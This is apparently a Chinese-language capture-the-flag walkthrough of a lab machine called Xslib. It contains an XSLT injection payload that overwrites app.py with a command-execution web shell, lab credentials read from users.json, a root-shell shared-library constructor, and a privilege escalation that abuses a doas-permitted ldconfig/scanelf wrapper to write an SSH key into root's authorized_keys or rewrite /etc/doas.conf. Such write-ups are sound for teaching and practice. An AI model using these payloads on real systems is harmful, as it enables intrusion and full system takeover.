

Xslib

Nmap

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.3 (protocol 2.0)
5000/tcp  open  http      Werkzeug httpd 3.1.8 (Python 3.14.5)
| http-title: Document Processing System
|_Requested resource was /login
|_http-server-header: Werkzeug/3.1.8 Python/3.14.5
```

SHELL

注册 & 登录

进入到 <http://192.168.56.186:5000/login>，发现存在注册和登录接口，随意填写注册一个用户
然后登录到后台发现可以上传 **XML** 和 **XSL** 格式的文件，并且会对文件进行处理

Document Processor

Welcome, hyh [Logout](#)

Login successful

Upload Documents

XML File

No file selected.

XSL File

No file selected.

Your Documents

No documents uploaded yet

XSLT 注入 (文件覆盖)

经过搜索找到下面可以利用的 **Payload**

- [XSLT Injection - Payloads All The Things](#)

XSLT 转换时，其实是在“按模板执行代码”，如果模板里带了写文件的功能，就会在执行过程中直接把文件写出来。其中给出的 **poc** 模板如下：

```
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="evil.txt" method="text">
      Hello World!
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>
```

XSLT 在转换 **XML** 时会逐步执行模板内容，当遇到 **EXSLT** 扩展元素 **exploit:document** 时，**XSLT** 引擎不会将其当作普通 **XML** 节点处理，而是交由 **EXSLT** 扩展处理器执行。该处理器在支持文件系统访问的环境中，会调用宿主语言的文件写入 **API**，从而在转换过程中直接创建并写入文件。

由于 **Web** 服务是基于 **Python** 语言的，那么在尝试覆盖文件的时候就需要尝试文件名如：**app.py**、**main.py** 这些标准启动文件，经过的修改 **poc** 模板如下：

```
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="app.py" method="text">
from flask import Flask, request
import os

app = Flask(__name__)

@app.route("/")
def index():
    return "ok"

@app.route("/cmd")
def cmd():
    c = request.args.get("c", "")
    return os.popen(c).read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>
```

然后还要准备一个简单的 **xml** 格式如下就行了：

```
<?xml version="1.0" encoding="UTF-8"?>
<root></root>
```

XML

将两个文件上传后，再次访问会发现首页被改掉了，因为后台进程有在不断重启 **web** 服务，然后命令执行，正常反弹 **shell** 即可

```
[~]$ curl 'http://192.168.56.186:5000/cmd?c=id'
uid=1000(momo) gid=1000(momo) groups=1000(momo)
```

SHELL

在网站目录下拿到用户密码

```
Xslib:/opt/web$ cat users.json
{
  "momo": {
    "password": "M0M0123!",
    "email": "momo@Xslib.dsz",
    "active": true
  },
  "hyh": {
    "password": "Hyh123456@",
    "email": "hyh@hyh.com",
    "active": true
  }
}
```

SHELL

Doas & scanelf

doas 是一个权限提升/执行命令工具，可以理解为 **sudo** 的轻量替代品。

可以用 **linpeas** 进行信息收集，这里直接查看 **/etc/doas.conf** 配置文件

```
# See doas.conf(5) and doas.d(5) for configuration details.
# Configuration here may be overridden by /etc/doas.d/*.conf if files exist.

# Uncomment to allow group "wheel" to become root.
# permit persist :wheel
permit nopass momo as root cmd /sbin/ldconfig
```

SHELL

可以看到允许 **momo** 以 **root** 身份无密码运行 **/sbin/ldconfig**

那再来看看 **/sbin/ldconfig** 的具体内容

```
#!/bin/sh
scan_dirs() {
    scanelf -qS "$@" | while read SONAME FILE; do
        TARGET="${FILE##*/}"
        LINK="${FILE%*/}/${SONAME}"
        case "$FILE" in
            /lib/*|/usr/lib/*|/usr/local/lib/*) ;;
            *) [ -h "$LINK" -o ! -e "$LINK" ] && ln -sf "$TARGET" "$LINK"
        esac
    done
    return 0
}
# eat ldconfig options
while getopts "nNvXvf:C:r:" opt; do
    :
done
shift $(( $OPTIND - 1 ))
[ $# -eq 0 ] || scan_dirs "$@"
```

这个脚本的逻辑是：

- 用 **scanelf** 扫描 ELF 文件，读出来 SONAME 和文件路径
- 取文件名作为 TARGET，拼出 LINK 路径
- 如果文件在 **/lib**、**/usr/lib**、**/usr/local/lib** 这些系统目录就跳过
- 不在系统目录的话，如果 LINK 是软链接或者不存在，就执行 **ln -sf TARGET LINK**

说白了就是在非系统库目录里自动创建软链接，指向实际文件。

```
TARGET="${FILE##*/}"
LINK="${FILE%*/}/${SONAME}"
ln -sf "$TARGET" "$LINK"
```

TARGET 只取了文件名，不带路径，所以软链接只能指向当前目录的文件，没法跨目录指向别的地方，这条路走不通。

真正的突破点在参数解析那块：

```
while getopts "nNvXvf:C:r:" opt; do
    :
done
shift $(( $OPTIND - 1 ))
```

这里的逻辑就是：只要选项在列表里，就会被消耗掉，然后 **shift** 把消耗掉的选项移除，剩下的才传给 **scan_dirs**。

关键技巧是 **--** 这个用法，**--** 表示选项结束，后面的都当成普通参数。

```
doas /sbin/ldconfig -- file -选项
```

再回头来看 **scanelf** 的命令参数有哪些

momo@Xslib:~\$ scanelf

* Scan ELF binaries **for** stuff

Usage: scanelf [options] <dir1/file**1**> [dir2 dirN file2 fileN ...]

Options: -[p!RmYAXz:xetrnLibSs:k:gN:TaqvF:f:o:E:M:DIYO:ZCBhV]

-p, --path	* Scan all directories in PATH environment
-l, --ldpath	* Scan all directories in /etc/ld.so.conf
--ldcache <arg>	* Use alternate ld.so.cache specified in <arg>
--use-ldpath	* Use ld.so.conf to show full path (use with -r/-n)
--root <arg>	* Root directory (use with -l or -p)
-R, --recursive	* Scan directories recursively
-m, --mount	* Don't recursively cross mount points
-y, --symlink	* Don't scan symlinks
-A, --archives	* Scan archives (.a files)
-L, --ldcache	* Utilize ld.so.cache to show full path (use with -r/-n)
-X, --fix	* Try and 'fix' bad things (use with -r/-e)
-z, --setpax <arg>	* Sets EI_PAX/PT_PAX_FLAGS to <arg> (use with -Xx)
-x, --pax	* Print PaX markings
-e, --header	* Print GNU_STACK/PT_LOAD markings
-t, --textrel	* Print TEXTREL information
-r, --rpath	* Print RPATH information
-n, --needed	* Print NEEDED information
-i, --interp	* Print INTERP information
-b, --bind	* Print BIND information
-S, --soname	* Print SONAME information
-s, --symbol <arg>	* Find a specified symbol
-k, --section <arg>	* Find a specified section
-N, --lib <arg>	* Find a specified library
-g, --gmatch	* Use regex rather than string compare (with -s);
specify twice for case insensitive	
-T, --textrels	* Locate cause of TEXTREL
-E, --etype <arg>	* Print only ELF files matching etype ET_DYN,ET_EXEC
...	
-M, --bits <arg>	* Print only ELF files matching numeric bits
-D, --endian	* Print Endianness
-I, --osabi	* Print OSABI
-Y, --eabi	* Print EABI (EM_ARM Only)
-O, --perms <arg>	* Print only ELF files matching octal permissions
-Z, --size	* Print ELF file size
-a, --all	* Print all useful/simple info
-q, --quiet	* Only output 'bad' things
-v, --verbose	* Be verbose (can be specified more than once)
-F, --format <arg>	* Use specified format for output
-f, --from <arg>	* Read input stream from a filename
-o, --file <arg>	* Write output stream to a filename
-C, --nocolor	* Don't emit color in output
-B, --nobanner	* Don't display the header

```
-h, --help          * Print this help and exit
-V, --version       * Print version and exit
```

可以尝试利用 `-o` 选项进行写入文件。

接下来先生成一个可执行文件，控制SONAME

```
[/tmp]$ cat evil.c
// evil.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__((constructor))
void init() {
    if (geteuid() == 0) {
        setuid(0);
        setgid(0);
        printf("[+] Got root!\n");
        execl("/bin/sh", "sh", NULL);
    }
}

[/tmp]$ gcc -shared -fPIC -Wl,-soname,'test_if_success' evil.c -o payload.so
```

SHELL

然后进行写入文件，发现输出的文件中会自带一个文件名，中间有一个空格

```
momo@Xslib:/tmp$ doas /sbin/ldconfig -- payload.so -o test
momo@Xslib:/tmp$ ls -al
total 24
drwxrwxrwt  4 root    root          120 Jul  2 17:47 .
drwxr-xr-x 21 root    root         4096 Jul  1 21:35 ..
drwxrwxrwt  2 root    root           40 Jul  2 16:32 .ICE-unix
drwxrwxrwt  2 root    root           40 Jul  2 16:32 .X11-unix
-rw-r--r--  1 momo    momo       15568 Jul  2 17:47 payload.so
-rw-r--r--  1 root    root         28 Jul  2 17:47 test
momo@Xslib:/tmp$ cat test
test_if_success  payload.so
```

SHELL

那么比较简单的方式就是，将ssh密钥嵌入到SONAME，然后输出到root的authorized_keys里面

SHELL

```
[/tmp]$ gcc -shared -fPIC -Wl,-soname,'ssh-rsa
AAAAAB3NzaC1yc2EAAAADAQABAAQACQCQ7u1DmuuqRGRZJQ9Ik1QLL8bWdK9Bj0FtX7Ru0+qr+KZVgyigCWt
B7rEk9vwarEz6CA4LfC5RrRG/J/+lCHyxJvKiFvMgWN9Vh2R3X9kyoCvnjxdxDALnX2Ay/qUITFCdwycIiS
0VJ+M6QQauBYJ0svz2qQ/5rfiLwiZXLd6KQtwoMm8AqG0rIPbGx4tZEL/wrGGnjAb2cfeEGAvfJVNfBKCS7
1EzMJvw6q1chWuLascmbSQS4IL3cx11amcvI6Ycyjoll6QtTpsEgGZY0itI6eLl3P9w98ZKy6Da/vR/6gjc
lw0EE/4f2/mRSHwoy2TXwPhyccIXif92kYqlb4e4/gLlN2mE4RkoXJDAVYLjOnTWCzix33hL04K7agF78zD
uV0U2dKGn9XSZe0R8s3Fi8d1MhpamICFA3PhR6IJDULEZWo2e7x9FjWJJcsJg1IceHRyVK3LwnxSxUSvVZT
doyxVK3sUuXJWIg7GNy2FVPjHe0VFwnKnVLeaDo5hbyZf6D0FF8Eb+WKAUvK7A1VqZlCA5Lu3ubnoaD7xnY
SF0Uf0PoyWaoildtPrUwus8wuZWnEoMNTPgana4ki4Ic89hZAXivvKw4L2lYenK1LUzEIfI9SivlM0d1M3Sj
FGjIWfymwT/TO2xxQsKRE/iuBm0Ee1VdkW7ZHmGYIL8qUTSmuQ== root@kali' evil.c -o
payload.so
```

```
momo@Xslib:/tmp$ doas /sbin/ldconfig -- payload.so -o /root/.ssh/authorized_keys
```

也可以尝试覆盖doas.conf，这里是把文件名改成了空格，防止文件名影响配置

SHELL

```
[/tmp]$ gcc -shared -fPIC -Wl,-soname,'permit nopass momo as root cmd /bin/bash'
evil.c -o payload.so
```

```
momo@Xslib:/tmp$ mv payload.so ' '
momo@Xslib:/tmp$ doas /sbin/ldconfig -- ' ' -o /etc/doas.conf
momo@Xslib:/tmp$ cat /etc/doas.conf
permit nopass momo as root cmd /bin/bash
momo@Xslib:/tmp$ doas /bin/bash -p
Xslib:/tmp# id
uid=0(root) gid=0(root)
groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
,20(dialout),26(tape),27(video)
Xslib:/tmp#
```